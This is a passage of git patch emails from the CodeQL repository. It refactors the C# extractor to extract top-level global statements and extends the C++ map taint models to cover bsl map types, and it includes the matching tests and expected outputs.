b/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs index 6e5b45e9e3a..f72de1c2f08 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs @@ -11,16 +11,17 @@ namespace Semmle.Extraction.CSharp.Populators { public class TypeContainerVisitor : CSharpSyntaxVisitor { - protected Context cx { get; } - protected IEntity parent { get; } - protected TextWriter trapFile { get; } + protected Context Cx { get; } + protected IEntity Parent { get; } + protected TextWriter TrapFile { get; } private readonly Lazy> attributeLookup; public TypeContainerVisitor(Context cx, TextWriter trapFile, IEntity parent) { - this.cx = cx; - this.parent = parent; - this.trapFile = trapFile; + Cx = cx; + Parent = parent; + TrapFile = trapFile; + attributeLookup = new Lazy>(() => { var dict = new Dictionary(); @@ -40,46 +41,51 @@ namespace Semmle.Extraction.CSharp.Populators public override void VisitDelegateDeclaration(DelegateDeclarationSyntax node) { - Entities.NamedType.Create(cx, cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(trapFile, parent); + Entities.NamedType.Create(Cx, Cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(TrapFile, Parent); } public override void VisitRecordDeclaration(RecordDeclarationSyntax node) { - Entities.Type.Create(cx, cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(trapFile, parent); + ExtractTypeDeclaration(node); } - public override void VisitClassDeclaration(ClassDeclarationSyntax classDecl) + public override void VisitClassDeclaration(ClassDeclarationSyntax node) { - Entities.Type.Create(cx, cx.GetModel(classDecl).GetDeclaredSymbol(classDecl)).ExtractRecursive(trapFile, parent); + ExtractTypeDeclaration(node); } public override void VisitStructDeclaration(StructDeclarationSyntax node) { - Entities.Type.Create(cx, cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(trapFile, parent); + ExtractTypeDeclaration(node); } public override void VisitEnumDeclaration(EnumDeclarationSyntax node) { - Entities.Type.Create(cx, cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(trapFile, parent); + ExtractTypeDeclaration(node); } public override void VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) { - Entities.Type.Create(cx, cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(trapFile, parent); + ExtractTypeDeclaration(node); + } + + private void ExtractTypeDeclaration(BaseTypeDeclarationSyntax node) + { + Entities.Type.Create(Cx, Cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(TrapFile, Parent); } public override void VisitAttributeList(AttributeListSyntax node) { - if (cx.Extractor.Standalone) + if (Cx.Extractor.Standalone) return; - var outputAssembly = Assembly.CreateOutputAssembly(cx); + var outputAssembly = Assembly.CreateOutputAssembly(Cx); foreach (var attribute in node.Attributes) { if (attributeLookup.Value(attribute) is AttributeData attributeData) { - var ae = Semmle.Extraction.CSharp.Entities.Attribute.Create(cx, attributeData, outputAssembly); - cx.BindComments(ae, attribute.GetLocation()); + var ae = Semmle.Extraction.CSharp.Entities.Attribute.Create(Cx, attributeData, outputAssembly); + Cx.BindComments(ae, attribute.GetLocation()); } } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeOrNamespaceVisitor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeOrNamespaceVisitor.cs index aacdc5d2a4f..a3daae08a60 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeOrNamespaceVisitor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeOrNamespaceVisitor.cs @@ -13,12 +13,12 @@ namespace Semmle.Extraction.CSharp.Populators { // Only deal with "using namespace" not "using X = Y" if (usingDirective.Alias == null) - new UsingDirective(cx, usingDirective, (NamespaceDeclaration)parent); + new UsingDirective(Cx, usingDirective, (NamespaceDeclaration)Parent); } public override void VisitNamespaceDeclaration(NamespaceDeclarationSyntax node) { - NamespaceDeclaration.Create(cx, node, (NamespaceDeclaration)parent); + NamespaceDeclaration.Create(Cx, node, (NamespaceDeclaration)Parent); } } } From 595bb025f9601ac72717a5b4d77625167c9e6cda Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 16:34:07 +0000 Subject: [PATCH 1220/1241] C++: Model bsl functions in StdMap.qll. --- .../cpp/models/implementations/StdMap.qll | 46 ++++++++++++++----- 1 file changed, 35 insertions(+), 11 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll index f261038735d..baf4774ce76 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll @@ -5,13 +5,20 @@ import semmle.code.cpp.models.interfaces.Taint import semmle.code.cpp.models.interfaces.Iterator +/** + * The `std::map` and `std::unordered_map` template classes. + */ +private class MapOrUnorderedMap extends Class { + MapOrUnorderedMap() { this.hasQualifiedName(["std", "bsl"], ["map", "unordered_map"]) } +} + /** * Additional model for map constructors using iterator inputs. */ private class StdMapConstructor extends Constructor, TaintFunction { StdMapConstructor() { - this.hasQualifiedName("std", "map", "map") or - this.hasQualifiedName("std", "unordered_map", "unordered_map") + this.hasQualifiedName(["std", "bsl"], "map", "map") or + this.hasQualifiedName(["std", "bsl"], "unordered_map", "unordered_map") } /** @@ -37,7 +44,8 @@ private class StdMapConstructor extends Constructor, TaintFunction { */ private class StdMapInsert extends TaintFunction { StdMapInsert() { - this.hasQualifiedName("std", ["map", "unordered_map"], ["insert", "insert_or_assign"]) + this.hasName(["insert", "insert_or_assign"]) and + this.getDeclaringType() instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -56,7 +64,8 @@ private class StdMapInsert extends TaintFunction { */ private class StdMapEmplace extends TaintFunction { StdMapEmplace() { - this.hasQualifiedName("std", ["map", "unordered_map"], ["emplace", "emplace_hint"]) + this.hasName(["emplace", "emplace_hint"]) and + this.getDeclaringType() instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -79,7 +88,10 @@ private class StdMapEmplace extends TaintFunction { * The standard map `try_emplace` function. */ private class StdMapTryEmplace extends TaintFunction { - StdMapTryEmplace() { this.hasQualifiedName("std", ["map", "unordered_map"], "try_emplace") } + StdMapTryEmplace() { + this.hasName("try_emplace") and + this.getDeclaringType() instanceof MapOrUnorderedMap + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from any parameter apart from the key to qualifier and return value @@ -106,7 +118,10 @@ private class StdMapTryEmplace extends TaintFunction { * The standard map `merge` function. */ private class StdMapMerge extends TaintFunction { - StdMapMerge() { this.hasQualifiedName("std", ["map", "unordered_map"], "merge") } + StdMapMerge() { + this.hasName("merge") and + this.getDeclaringType() instanceof MapOrUnorderedMap + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // container1.merge(container2) @@ -119,7 +134,10 @@ private class StdMapMerge extends TaintFunction { * The standard map functions `at` and `operator[]`. */ private class StdMapAt extends TaintFunction { - StdMapAt() { this.hasQualifiedName("std", ["map", "unordered_map"], ["at", "operator[]"]) } + StdMapAt() { + this.hasName(["at", "operator[]"]) and + this.getDeclaringType() instanceof MapOrUnorderedMap + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to referenced return value @@ -136,7 +154,10 @@ private class StdMapAt extends TaintFunction { * The standard map `find` function. */ private class StdMapFind extends TaintFunction { - StdMapFind() { this.hasQualifiedName("std", ["map", "unordered_map"], "find") } + StdMapFind() { + this.hasName("find") and + this.getDeclaringType() instanceof MapOrUnorderedMap + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { input.isQualifierObject() and @@ -148,7 +169,10 @@ private class StdMapFind extends TaintFunction { * The standard map `erase` function. */ private class StdMapErase extends TaintFunction { - StdMapErase() { this.hasQualifiedName("std", ["map", "unordered_map"], "erase") } + StdMapErase() { + this.hasName("erase") and + this.getDeclaringType() instanceof MapOrUnorderedMap + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to iterator return value @@ -163,8 +187,8 @@ private class StdMapErase extends TaintFunction { */ private class StdMapEqualRange extends TaintFunction { StdMapEqualRange() { - this.hasQualifiedName("std", ["map", "unordered_map"], - ["lower_bound", "upper_bound", "equal_range"]) + this.hasName(["lower_bound", "upper_bound", "equal_range"]) and + this.getDeclaringType() instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { From 4a0791200696089d69a8f24da130321187d89463 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 16:36:49 +0000 Subject: [PATCH 1221/1241] C++: Small code improvement. --- cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll index baf4774ce76..6925fb110fc 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll @@ -16,10 +16,7 @@ private class MapOrUnorderedMap extends Class { * Additional model for map constructors using iterator inputs. */ private class StdMapConstructor extends Constructor, TaintFunction { - StdMapConstructor() { - this.hasQualifiedName(["std", "bsl"], "map", "map") or - this.hasQualifiedName(["std", "bsl"], "unordered_map", "unordered_map") - } + StdMapConstructor() { this.getDeclaringType() instanceof MapOrUnorderedMap } /** * Gets the index of a parameter to this function that is an iterator. From 6a4b54ec892a0e8e4bebd0d790d9ba02146afdc3 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 13 Nov 2020 18:25:41 +0100 Subject: [PATCH 1222/1241] C#: Extract global statements --- .../Entities/OrdinaryMethod.cs | 5 +++ .../Entities/Statement.cs | 36 +++++++++++++--- .../Entities/Statement`1.cs | 32 +++++---------- .../Entities/Statements/Factory.cs | 2 +- .../Statements/GlobalStatementsBlock.cs | 41 +++++++++++++++++++ .../Populators/CompilationUnitVisitor.cs | 30 ++++++++++++++ .../Populators/TypeContainerVisitor.cs | 8 +++- .../Semmle.Extraction.CSharp/Tuples.cs | 10 +++++ csharp/ql/src/semmle/code/csharp/Callable.qll | 3 ++ csharp/ql/src/semmle/code/csharp/PrintAst.qll | 3 +- csharp/ql/src/semmle/code/csharp/Stmt.qll | 6 +++ csharp/ql/src/semmlecode.csharp.dbscheme | 5 +++ .../test/library-tests/csharp9/GlobalStmt.cs | 25 +++++++++++ .../csharp9/LocalFunctions.expected | 1 + .../library-tests/csharp9/PrintAst.expected | 31 ++++++++++++++ .../library-tests/csharp9/globalStmt.expected | 10 +++++ .../test/library-tests/csharp9/globalStmt.ql | 15 +++++++ 17 files changed, 232 insertions(+), 31 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs create mode 100644 csharp/ql/test/library-tests/csharp9/GlobalStmt.cs create mode 100644 csharp/ql/test/library-tests/csharp9/globalStmt.expected create mode 100644 csharp/ql/test/library-tests/csharp9/globalStmt.ql diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs index d81fc25f72b..d9e95c342ac 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs @@ -51,6 +51,11 @@ namespace Semmle.Extraction.CSharp.Entities Overrides(trapFile); ExtractRefReturn(trapFile, symbol, this); ExtractCompilerGenerated(trapFile); + + if (SymbolEqualityComparer.Default.Equals(symbol, Context.Compilation.GetEntryPoint(System.Threading.CancellationToken.None))) + { + trapFile.entry_methods(this); + } } public static new OrdinaryMethod Create(Context cx, IMethodSymbol method) => OrdinaryMethodFactory.Instance.CreateEntityFromSymbol(cx, method); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs index 7a5bdcd2a58..94ab9a7ce61 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement.cs @@ -1,13 +1,41 @@ using Microsoft.CodeAnalysis.CSharp.Syntax; using Microsoft.CodeAnalysis.CSharp; +using System.IO; namespace Semmle.Extraction.CSharp.Entities { internal abstract class Statement : FreshEntity, IExpressionParentEntity, IStatementParentEntity { - protected Statement(Context cx) : base(cx) { } + private readonly int child; + private readonly Kinds.StmtKind kind; + private readonly IStatementParentEntity parent; - public static Statement Create(Context cx, StatementSyntax node, Statement parent, int child) => + protected Statement(Context cx, Kinds.StmtKind kind, IStatementParentEntity parent, int child) + : base(cx) + { + this.kind = kind; + this.parent = parent; + this.child = child; + } + + protected override void Populate(TextWriter trapFile) + { + trapFile.statements(this, kind); + if (parent.IsTopLevelParent) + { + trapFile.stmt_parent_top_level(this, child, parent); + } + else + { + trapFile.stmt_parent(this, child, parent); + } + + PopulateStatement(trapFile); + } + + protected abstract void PopulateStatement(TextWriter trapFile); + + public static Statement Create(Context cx, StatementSyntax node, IStatementParentEntity parent, int child) => Statements.Factory.Create(cx, node, parent, child); /// @@ -16,14 +44,10 @@ namespace Semmle.Extraction.CSharp.Entities /// public virtual int NumberOfStatements => 1; - public override Microsoft.CodeAnalysis.Location ReportingLocation => GetStatementSyntax().GetLocation(); - bool IExpressionParentEntity.IsTopLevelParent => false; bool IStatementParentEntity.IsTopLevelParent => false; - protected abstract CSharpSyntaxNode GetStatementSyntax(); - public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.NeedsLabel; } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs index 1d8dd43f702..8ea6650d4f7 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs @@ -8,40 +8,28 @@ namespace Semmle.Extraction.CSharp.Entities internal abstract class Statement : Statement where TSyntax : CSharpSyntaxNode { protected readonly TSyntax Stmt; - private readonly int child; - private readonly Kinds.StmtKind kind; - private readonly IStatementParentEntity parent; private readonly Location location; - protected override CSharpSyntaxNode GetStatementSyntax() => Stmt; - protected Statement(Context cx, TSyntax stmt, Kinds.StmtKind kind, IStatementParentEntity parent, int child, Location location) - : base(cx) + : base(cx, kind, parent, child) { Stmt = stmt; - this.parent = parent; - this.child = child; this.location = location; - this.kind = kind; cx.BindComments(this, location.symbol); } - protected sealed override void Populate(TextWriter trapFile) - { - trapFile.statements(this, kind); - if (parent.IsTopLevelParent) - trapFile.stmt_parent_top_level(this, child, parent); - else - trapFile.stmt_parent(this, child, parent); - trapFile.stmt_location(this, location); - PopulateStatement(trapFile); - } - - protected abstract void PopulateStatement(TextWriter trapFile); - protected Statement(Context cx, TSyntax stmt, Kinds.StmtKind kind, IStatementParentEntity parent, int child) : this(cx, stmt, kind, parent, child, cx.CreateLocation(stmt.FixedLocation())) { } + protected sealed override void Populate(TextWriter trapFile) + { + base.Populate(trapFile); + + trapFile.stmt_location(this, location); + } + + public override Microsoft.CodeAnalysis.Location ReportingLocation => Stmt.GetLocation(); + public override string ToString() => Label.ToString(); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Factory.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Factory.cs index 69ebdca1c16..2960982061e 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Factory.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Factory.cs @@ -5,7 +5,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements { internal static class Factory { - internal static Statement Create(Context cx, StatementSyntax node, Statement parent, int child) + internal static Statement Create(Context cx, StatementSyntax node, IStatementParentEntity parent, int child) { switch (node.Kind()) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs new file mode 100644 index 00000000000..ca1d5ba2c5b --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs @@ -0,0 +1,41 @@ +using Semmle.Extraction.Kinds; +using System.Linq; +using System.IO; +using Semmle.Extraction.Entities; + +namespace Semmle.Extraction.CSharp.Entities.Statements +{ + internal class GlobalStatementsBlock : Statement + { + private GlobalStatementsBlock(Context cx, Method parent) + : base(cx, StmtKind.BLOCK, parent, 0) { } + + public override Microsoft.CodeAnalysis.Location ReportingLocation + { + get + { + // We only create a `GlobalStatementsBlock` if there are global statements. This also means that the + // entry point is going to be the generated method around those global statements + return cx.Compilation.GetEntryPoint(System.Threading.CancellationToken.None) + ?.DeclaringSyntaxReferences + .FirstOrDefault() + ?.GetSyntax() + .GetLocation(); + } + } + + public static GlobalStatementsBlock Create(Context cx, Method parent) + { + var ret = new GlobalStatementsBlock(cx, parent); + ret.TryPopulate(); + return ret; + } + + protected override void PopulateStatement(TextWriter trapFile) + { + trapFile.global_stmt_block(this); + + trapFile.stmt_location(this, cx.CreateLocation(ReportingLocation)); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs index c8adceebe38..58e5404ccd7 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs @@ -2,6 +2,9 @@ using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Util.Logging; +using Semmle.Extraction.CSharp.Entities; +using Semmle.Extraction.CSharp.Entities.Statements; +using System.Linq; namespace Semmle.Extraction.CSharp.Populators { @@ -23,6 +26,8 @@ namespace Semmle.Extraction.CSharp.Populators Cx.Try(m, null, () => ((CSharpSyntaxNode)m).Accept(this)); } + ExtractGlobalStatements(compilationUnit); + // Gather comments: foreach (var trivia in compilationUnit.DescendantTrivia(compilationUnit.Span, descendIntoTrivia: true)) { @@ -39,5 +44,30 @@ namespace Semmle.Extraction.CSharp.Populators CommentPopulator.ExtractComment(Cx, trivia); } } + + private void ExtractGlobalStatements(CompilationUnitSyntax compilationUnit) + { + var globalStatements = compilationUnit + .ChildNodes() + .OfType() + .ToList(); + + if (!globalStatements.Any()) + { + return; + } + + var entryPoint = Cx.Compilation.GetEntryPoint(System.Threading.CancellationToken.None); + var entryMethod = Method.Create(Cx, entryPoint); + var block = GlobalStatementsBlock.Create(Cx, entryMethod); + + for (var i = 0; i < globalStatements.Count; i++) + { + if (globalStatements[i].Statement is object) + { + Statement.Create(Cx, globalStatements[i].Statement, block, i); + } + } + } } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs index f72de1c2f08..ededf2978b9 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs @@ -39,6 +39,12 @@ namespace Semmle.Extraction.CSharp.Populators throw new InternalError(node, "Unhandled top-level syntax node"); } + public override void VisitGlobalStatement(GlobalStatementSyntax node) + { + // Intentionally left empty. + // Global statements are handled in CompilationUnitVisitor + } + public override void VisitDelegateDeclaration(DelegateDeclarationSyntax node) { Entities.NamedType.Create(Cx, Cx.GetModel(node).GetDeclaredSymbol(node)).ExtractRecursive(TrapFile, Parent); @@ -84,7 +90,7 @@ namespace Semmle.Extraction.CSharp.Populators { if (attributeLookup.Value(attribute) is AttributeData attributeData) { - var ae = Semmle.Extraction.CSharp.Entities.Attribute.Create(Cx, attributeData, outputAssembly); + var ae = Entities.Attribute.Create(Cx, attributeData, outputAssembly); Cx.BindComments(ae, attribute.GetLocation()); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index df39d6a836c..75c0f633cc0 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -379,6 +379,11 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("methods", method, name, declType, retType, originalDefinition); } + internal static void entry_methods(this TextWriter trapFile, Method method) + { + trapFile.WriteTuple("entry_methods", method); + } + internal static void modifiers(this TextWriter trapFile, Label entity, string modifier) { trapFile.WriteTuple("modifiers", entity, modifier); @@ -509,6 +514,11 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("stackalloc_array_creation", array); } + internal static void global_stmt_block(this TextWriter trapFile, Entities.Statements.GlobalStatementsBlock block) + { + trapFile.WriteTuple("global_stmt_block", block); + } + internal static void stmt_location(this TextWriter trapFile, Statement stmt, Location location) { trapFile.WriteTuple("stmt_location", stmt, location); diff --git a/csharp/ql/src/semmle/code/csharp/Callable.qll b/csharp/ql/src/semmle/code/csharp/Callable.qll index 7238f4576f9..8f2c1bd4471 100644 --- a/csharp/ql/src/semmle/code/csharp/Callable.qll +++ b/csharp/ql/src/semmle/code/csharp/Callable.qll @@ -292,6 +292,9 @@ class Method extends Callable, Virtualizable, Attributable, @method { } override string getAPrimaryQlClass() { result = "Method" } + + /** Holds if this method is the entry method of the compilation. */ + predicate isEntry() { entry_methods(this) } } /** diff --git a/csharp/ql/src/semmle/code/csharp/PrintAst.qll b/csharp/ql/src/semmle/code/csharp/PrintAst.qll index 024dfc2a05e..1cac4a5f238 100644 --- a/csharp/ql/src/semmle/code/csharp/PrintAst.qll +++ b/csharp/ql/src/semmle/code/csharp/PrintAst.qll @@ -134,7 +134,8 @@ private newtype TPrintAstNode = TParametersNode(Parameterizable parameterizable) { shouldPrint(parameterizable, _) and parameterizable.getNumberOfParameters() > 0 and - not isNotNeeded(parameterizable) + not isNotNeeded(parameterizable) and + exists(Parameter p | p.getDeclaringElement() = parameterizable and shouldPrint(p, _)) } or TAttributesNode(Attributable attributable) { shouldPrint(attributable, _) and diff --git a/csharp/ql/src/semmle/code/csharp/Stmt.qll b/csharp/ql/src/semmle/code/csharp/Stmt.qll index 15199896390..aaa8890cd34 100644 --- a/csharp/ql/src/semmle/code/csharp/Stmt.qll +++ b/csharp/ql/src/semmle/code/csharp/Stmt.qll @@ -33,6 +33,9 @@ class Stmt extends ControlFlowElement, @stmt { override Location getALocation() { stmt_location(this, result) } + /** Holds if this statement is a global statement. */ + predicate isGlobal() { this.getParent().(BlockStmt).isGlobalStatementContainer() } + /** * Gets the singleton statement contained in this statement, by removing * enclosing block statements. @@ -70,6 +73,9 @@ class BlockStmt extends Stmt, @block_stmt { /** Holds if this block is an empty block with no statements. */ predicate isEmpty() { not exists(this.getAStmt()) } + /** Holds if this block is the container of the global statements. */ + predicate isGlobalStatementContainer() { global_stmt_block(this) } + override Stmt stripSingletonBlocks() { if getNumberOfStmts() = 1 then result = getAChildStmt().stripSingletonBlocks() diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 16936565fbe..1cea35ace06 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -843,6 +843,9 @@ local_function_stmts( unique int fn: @local_function_stmt ref, int stmt: @local_function ref); +entry_methods( + unique int id: @method ref); + /** VARIABLES **/ @variable = @local_scope_variable | @field; @@ -972,6 +975,8 @@ case @stmt.kind of @goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; +global_stmt_block( + unique int id: @block_stmt ref); stmt_location( unique int id: @stmt ref, diff --git a/csharp/ql/test/library-tests/csharp9/GlobalStmt.cs b/csharp/ql/test/library-tests/csharp9/GlobalStmt.cs new file mode 100644 index 00000000000..6b8958d7fbd --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/GlobalStmt.cs @@ -0,0 +1,25 @@ +/* + Global statements are not allowed in 'library' target. + + semmle-extractor-options: --standalone +*/ + +using System; + +[assembly: Attr] // not a global stmt + +Console.WriteLine("1"); +Console.WriteLine("2"); +M(); + +void M() +{ +} + +public class Attr : Attribute +{ + void M1() + { + Console.WriteLine("3"); + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/LocalFunctions.expected b/csharp/ql/test/library-tests/csharp9/LocalFunctions.expected index fd746b2a58b..c57ece05e59 100644 --- a/csharp/ql/test/library-tests/csharp9/LocalFunctions.expected +++ b/csharp/ql/test/library-tests/csharp9/LocalFunctions.expected @@ -1,6 +1,7 @@ noBody | LocalFunction.cs:16:9:16:41 | localExtern | localFunctionModifier +| GlobalStmt.cs:15:1:17:1 | M | private | | LambdaModifier.cs:8:9:8:36 | m | private | | LocalFunction.cs:9:9:12:9 | mul | async | | LocalFunction.cs:9:9:12:9 | mul | private | diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index e203842664b..66dc25dfedb 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -389,6 +389,37 @@ FunctionPointer.cs: # 50| 14: [Class] B #-----| 3: (Base types) # 50| 0: [TypeMention] A +GlobalStmt.cs: +# 7| [Class] $ +# 7| 4: [Method]
    $ +# 7| 4: [BlockStmt] {...} +# 11| 0: [ExprStmt] ...; +# 11| 0: [MethodCall] call to method WriteLine +# 11| -1: [TypeAccess] access to type Console +# 11| 0: [TypeMention] Console +# 11| 0: [StringLiteral] "1" +# 12| 1: [ExprStmt] ...; +# 12| 0: [MethodCall] call to method WriteLine +# 12| -1: [TypeAccess] access to type Console +# 12| 0: [TypeMention] Console +# 12| 0: [StringLiteral] "2" +# 13| 2: [ExprStmt] ...; +# 13| 0: [LocalFunctionCall] call to local function M +# 13| -1: [LocalFunctionAccess] access to local function M +# 15| 3: [LocalFunctionStmt] M(...) +# 15| 0: [LocalFunction] M +# 16| 4: [BlockStmt] {...} +# 19| [Class] Attr +#-----| 3: (Base types) +# 19| 0: [TypeMention] Attribute +# 21| 5: [Method] M1 +# 21| -1: [TypeMention] Void +# 22| 4: [BlockStmt] {...} +# 23| 0: [ExprStmt] ...; +# 23| 0: [MethodCall] call to method WriteLine +# 23| -1: [TypeAccess] access to type Console +# 23| 0: [TypeMention] Console +# 23| 0: [StringLiteral] "3" InitOnlyProperty.cs: # 3| [Class] Base # 5| 5: [Property] Prop0 diff --git a/csharp/ql/test/library-tests/csharp9/globalStmt.expected b/csharp/ql/test/library-tests/csharp9/globalStmt.expected new file mode 100644 index 00000000000..7063a67d6bc --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/globalStmt.expected @@ -0,0 +1,10 @@ +global_stmt +| GlobalStmt.cs:11:1:11:23 | ...; | +| GlobalStmt.cs:12:1:12:23 | ...; | +| GlobalStmt.cs:13:1:13:4 | ...; | +| GlobalStmt.cs:15:1:17:1 | M(...) | +globalBlock +| GlobalStmt.cs:7:1:25:1 | {...} | GlobalStmt.cs:7:1:25:1 |
    $ | file://:0:0:0:0 | args | GlobalStmt.cs:7:1:25:1 | $ | +methods +| GlobalStmt.cs:7:1:25:1 |
    $ | entry | +| GlobalStmt.cs:21:8:21:9 | M1 | non-entry | diff --git a/csharp/ql/test/library-tests/csharp9/globalStmt.ql b/csharp/ql/test/library-tests/csharp9/globalStmt.ql new file mode 100644 index 00000000000..586f34d4ade --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/globalStmt.ql @@ -0,0 +1,15 @@ +import csharp + +query predicate global_stmt(Stmt stmt) { stmt.isGlobal() } + +query predicate globalBlock(BlockStmt block, Method m, Parameter p, Type t) { + block.isGlobalStatementContainer() and + block.getEnclosingCallable() = m and + m.getDeclaringType() = t and + m.getAParameter() = p +} + +query predicate methods(Method m, string entry) { + m.getFile().getStem() = "GlobalStmt" and + if m.isEntry() then entry = "entry" else entry = "non-entry" +} From b79d5ab44b4eb9716cd942b1d56de6739ce16049 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 8 Dec 2020 11:22:34 +0100 Subject: [PATCH 1223/1241] Fix labeled stmt factory method parameter types --- .../Entities/Statements/Labeled.cs | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Labeled.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Labeled.cs index 1fce622b347..fe69af917ba 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Labeled.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Labeled.cs @@ -6,17 +6,18 @@ namespace Semmle.Extraction.CSharp.Entities.Statements { internal class Labeled : Statement { - private readonly Statement parent; + private readonly IStatementParentEntity parent; private readonly int child; + private Statement labelledStmt; - private Labeled(Context cx, LabeledStatementSyntax stmt, Statement parent, int child) + private Labeled(Context cx, LabeledStatementSyntax stmt, IStatementParentEntity parent, int child) : base(cx, stmt, StmtKind.LABEL, parent, child) { this.parent = parent; this.child = child; } - public static Labeled Create(Context cx, 